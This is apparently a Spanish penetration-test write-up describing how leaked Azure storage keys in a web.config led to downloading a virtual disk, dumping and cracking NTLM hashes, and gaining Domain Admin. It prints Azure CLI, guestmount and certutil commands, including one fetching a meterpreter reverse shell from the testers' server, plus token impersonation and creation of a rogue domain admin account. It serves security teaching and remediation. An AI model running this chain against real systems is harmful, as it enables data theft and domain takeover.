A lo largo de este post, se narrará una de las aventuras que tuvo un equipo de AppSec durante una prueba de penetración de una infraestructura localizada en Azure.
Azure es un servicio en la nube ofrecido por Microsoft, que pone a disposición del usuario diferentes servicios para gestionar y crear Máquinas Virtuales, App Services, Crear Cuentas de Almacenamiento, etc. Es ampliamente utilizado por muchas empresas que buscan obtener una infraestructura escalable basada en servidores windows.
Durante este post, se mostrará cómo fue posible obtener privilegios de Domain Admin sobre un Domain Controller alojado en Azure. La información adjunta (imágenes, comandos), corresponde a un caso real que, por motivos de privacidad, será censurado para salvaguardar la identidad de nuestro cliente.
Claves de Almacenamiento reveladas
Dentro del alcance acordado por el cliente, el equipo de evaluación encontró una vulnerabilidad de Full Source Disclosure en un servicio de aplicaciones. A través de esta vulnerabilidad, era posible acceder al archivo web . config que se encontraba en la siguiente ruta: “D:/home/site/wwwroot/web . config”
En la información encontrada en el archivo de configuración, el equipo de evaluación pudo obtener las credenciales de la cuenta de almacenamiento “app01disks”
Una Cuenta de Almacenamiento Azure, como su nombre indica, sirve para almacenar diferentes tipos de datos, entre los que se pueden encontrar, datos de tipo blobs, ficheros, colas, tablas, y discos. En ciertos casos una Cuenta de Almacenamiento puede ser utilizada para almacenar Discos Duros Virtuales pertenecientes a Máquinas Virtuales activas. Para tener una idea básica, una Cuenta de Almacenamiento es similar al servicio Amazon S3.
Utilizando las credenciales de la cuenta de almacenamiento, fue posible listar los contenedores dentro del almacenamiento. Para ello, se utilizó la herramienta Azure CLI.
Interacción con el Storage
Azure CLI es una herramienta de línea de comandos para administrar los Recursos de Azure. Esta herramienta permite al usuario interactuar con los servicios de Azure desde la consola de comandos, a través de esta es posible crear y gestionar Máquinas Virtuales, Cuentas de Almacenamiento, y los diferentes servicios que se pueden administrar desde Azure Portal.
Primero se procedió a listar los contenedores que estaban dentro de la cuenta de almacenamiento app01disks.
$ az storage container list --account-key DISCLOSED_KEY --account-name app01disks
Como puede verse en la imagen anterior, se ha encontrado un contenedor blob con el nombre “vhds”.
El siguiente paso fue listar los archivos blob que había dentro del contenedor.
$ az storage blob list --container-name vhds --account-key DISCLOSED_KEY --account-name app01disks
Se detectó la existencia del fichero “SERVER0120191203162227.vhd”, que es un Disco Duro Virtual y podría contener información muy útil, como los hashes NTLM utilizados en la Máquina Virtual.
A continuación, se descargó el archivo VHD.
$ az storage blob download --container-name vhds --account-key DISCLOSED_KEY --account-name app01disks --name SERVER0120191203162227.vhd --file SERVER0120191203162227.vhd
Como se puede observar, en el momento de descargar el VHD, el equipo de evaluación se encontró con un error, ya que el archivo blob estaba siendo utilizado por el sistema. Por lo tanto, se procedió a crear una instantánea del VHD, para poder descargarlo.
$ az storage blob snapshot --name SERVER0120191203162227.vhd --container-name vhds --account-key DISCLOSED_KEY --account-name app01disks
De este modo fue posible descargar el archivo VHD sin problemas.
$ az storage blob download --container-name vhds --account-key DISCLOSED_KEY --account-name app01disks --name SERVER0120191203162227.vhd --file SERVER0120191203162227.vhd --snapshot 2019-12-03T22:05:53.1641082Z
El argumento -snapshot indicaba el nombre de la instantánea creada anteriormente.
Explorando el disco
Una vez descargado el disco duro virtual, se utilizó la herramienta guestmount para montarlo y acceder al contenido del disco.
$ mkdir /mnt/vhd
$ guestmount --add SERVER0120191203162227.vhd --inspector --ro /mnt/vhd
El siguiente paso fue acceder al VHD montado y extraer los ficheros SAM y SYSTEM necesarios para realizar un volcado de los hashes NTLM del sistema.
root@Research:/mnt/vhd/Windows/System32/config# cp SAM /root/SAM
root@Research:/mnt/vhd/Windows/System32/config# cp SISTEMA /root/SYSTEMUtilizando la herramienta samdump2 fue posible obtener el hash NTLM del usuario server01.
Como se puede ver en la siguiente imagen, se realizó un cracking de la contraseña a través de la herramienta John The Ripper, pudiendo obtener las credenciales del usuario server01.
El equipo de evaluación utilizó las credenciales para acceder a través de RDP a uno de los servidores que estaban dentro del alcance acordado por el cliente.
Comprometer un servidor
Una vez dentro de la máquina comprometida, se determinó que pertenecía al controlador de dominio “DOMAIN.internal”, pero no fue posible acceder a la información del dominio ya que el usuario comprometido pertenecía a un usuario local.
Para elevar los privilegios dentro del servidor, se generó un Reverse Shell de meterpreter y se descargó en el servidor comprometido, utilizando la herramienta “certutil”.
$ certutil -urlcache -split -f http://assessment-team-server/reverse.exe
Se ejecutó el binario reverse.exe y se obtuvo una sesión de meterpreter en el servidor del equipo de evaluación.
Escalar al administrador del dominio
A través de la herramienta de incógnito, se listaron los tokens, pudiendo obtener el token de usuario DOMAIN\Admin01. El token fue suplantado para obtener privilegios de usuario, el cual pertenecía al grupo “Domain Admins”.
Por último, como es habitual, se creó el usuario SecSignal dentro del dominio y se añadió al grupo “Administradores del dominio”.
Remediaciones
- Como primer paso, es recomendable corregir ciertas vulnerabilidades que pueden permitir a un atacante acceder a información sensible en el lado del servidor. En este caso, era posible acceder a claves de almacenamiento a través de una vulnerabilidad de SSRF (Server-Side Request Forgery). Se recomienda sanear internamente los parámetros que interactúan con las URLs, se recomienda aplicar una regla de filtrado que limite únicamente las URLs pertenecientes a la aplicación.
- Se recomienda regenerar regularmente las claves de las cuentas de almacenamiento.
- Aplicar políticas de seguridad, tales como: Firmas de Acceso Compartido (SAS), para limitar el acceso a la cuenta de almacenamiento. Además, asigne un tiempo de caducidad a las URL SAS.
Referencias
- Identifying-exploiting-leaked-azure-storage-keys: https://www.notsosecure.com/identifying-exploiting-leaked-azure-storage-keys/
- Almacenamiento-sas-overview: https://docs.microsoft.com/en-us/azure/storage/common/storage-sas-overview
- Cómo-saber-asegurar-las-cuentas-de-almacenamiento-en-todo-el-ángulo: https://whyazure.in/dealing-with-azure-storage-account-know-how-to-secure-them-in-all-angle/
En Hackmetrix, somos especialistas en Ethical Hacking. Trabajamos con los mejores Hackers de la región para poner a prueba tus sistemas y poder encontrar las vulnerabilidades existentes. ¿Necesitas una prueba de penetración o pentest? Contáctanos ahora.